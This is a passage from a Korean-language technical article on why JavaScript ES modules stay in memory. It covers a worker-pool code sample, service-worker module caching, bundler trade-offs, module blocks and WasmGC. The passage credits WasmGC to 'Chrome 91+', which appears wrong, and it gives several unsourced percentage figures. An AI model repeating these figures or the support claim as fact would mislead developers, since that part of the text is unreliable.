        this.queue.push({ data, resolve });
      });
    }
    
    availableWorker.busy = true;
    // 워커 실행 및 결과 반환
    const result = await this.runWorker(availableWorker.worker, data);
    availableWorker.busy = false;
    
    // 대기 중인 작업 처리
    if (this.queue.length > 0) {
      const { data, resolve } = this.queue.shift();
      resolve(this.execute(data));
    }
    
    return result;
  }
  
  terminate() {
    // 모든 워커 종료 = 모든 모듈 메모리 해제
    this.workers.forEach(w => w.worker.terminate());
    this.workers = [];
  }
}

// 사용 예
const pool = new ModuleWorkerPool('./processor-worker.js', 4);
await pool.execute(data);
// 작업 완료 후
pool.terminate();  // 모든 워커의 모듈 메모리 해제

서비스 워커와 모듈 캐싱

서비스 워커의 ES 모듈(Chrome 91+)은 생명주기 이벤트에 걸쳐 지속됩니다. 모듈 업데이트는 importScripts 동작과 유사한 표준 서비스 워커 업데이트 흐름을 트리거합니다. Cache API 통합은 모듈 캐싱 전략에 대한 세밀한 제어를 허용합니다:

javascript
// 모듈 지원이 있는 서비스 워커
navigator.serviceWorker.register('/sw.js', { type: 'module' });

// sw.js에서
import { handleFetch } from './sw-handlers.js';
self.addEventListener('fetch', handleFetch);

서비스 워커의 정적 import는 모듈 내용이 변경될 때 업데이트를 트리거하여 일관성을 보장합니다. 하지만 동적 import는 현재 사양 제한으로 인해 지원되지 않습니다.

모듈 메모리 관리의 성능 영향

모듈 그래프 크기는 메모리 오버헤드에 직접 영향을 미칩니다. 번들러 비교에서 esbuild는 가장 낮은 메모리 사용량으로 10-100배 빠른 빌드를 달성하는 반면, Rollup은 적당한 속도로 우수한 tree shaking을 제공합니다. Webpack은 적절한 구성으로 좋은 최적화를 제공하지만 더 높은 메모리 오버헤드를 가집니다.

ES6 모듈로 tree shaking하면 정적 분석을 통해 20-50% 번들 크기 감소가 가능합니다. 동적 import를 통한 코드 분할은 최적화를 위한 자연스러운 분할점을 만듭니다. Webpack의 ModuleConcatenationPlugin(스코프 호이스팅)은 모듈을 결합하여 래퍼 함수 오버헤드를 줄입니다.

런타임 성능은 메모리 사용량과 트레이드오프됩니다. ES6 모듈은 라이브 바인딩을 통해 더 나은 메모리 효율성을 제공하지만 속성 접근에 약간의 오버헤드가 있습니다. CommonJS는 더 빠른 require() 호출을 제공하지만 값 복사로 인한 더 높은 메모리 사용량이 있습니다. 모듈 사전 로딩은 선행 메모리 할당 비용으로 런타임 성능을 향상시킵니다.

새로운 표준과 미래 방향

모듈 블록 제안(TC39 Stage 1)은 워커 시나리오에서 더 나은 메모리 관리를 약속합니다:

javascript
const moduleBlock = module {
  export function worker() {
    // 워커 코드 인라인
  }
};
new Worker(moduleBlock, { type: 'module' });

모듈 블록은 구조적으로 복제 가능하여 Blob URL 오버헤드 없이 컨텍스트 간의 효율적인 메모리 공유를 가능하게 합니다.

WasmGC(Chrome 91+)는 WebAssembly 모듈이 JavaScript 가비지 컬렉션에 참여할 수 있게 하여 이중 GC 오버헤드와 메모리 단편화를 제거합니다. 이는 가비지 컬렉션 언어의 WebAssembly 포트에 대해 20-40% 메모리 감소를 제공합니다.

모듈 선언 제안은 정적 분석을 통한 더 나은 tree shaking과 번들러 복잡성 감소로 번들 친화적 구문을 제공합니다. 이러한 새로운 표준은 모듈 메모리 관리의 미래 개선을 시사하지만, 현재 제약은 장시간 실행 애플리케이션에서 여전히 도전적입니다.

결론

JavaScript 모듈 메모리 지속성은 버그가 아닌 근본적인 아키텍처 제약을 나타냅니다. 모듈은 import 간에 상태를 유지하는 영구적인 싱글톤 엔티티로 설계되었습니다. 이 연구는 모듈 기반 애플리케이션에서 효과적인 메모리 관리가 모듈 자체를 언로드하려는 시도보다는 모듈 내용에 대한 신중한 주의를 필요로 함을 보여줍니다.

프로덕션 애플리케이션의 경우:

  • 모듈 리소스에 대한 명시적 생명주기 관리 구현
  • 적절한 가비지 컬렉션 자격을 위해 WeakMap/WeakSet 사용
  • 큰 데이터에 대해 JSON import보다 fetch() 선호
  • 장시간 실행 애플리케이션에서 메모리 증가 모니터링
  • 모듈이 영구히 지속된다는 이해로 설계

미래는 새로운 표준을 통한 개선을 약속하지만, 현재 애플리케이션은 최적의 메모리 효율성을 달성하기 위해 기존 제약 내에서 작업해야 합니다.

참고 문헌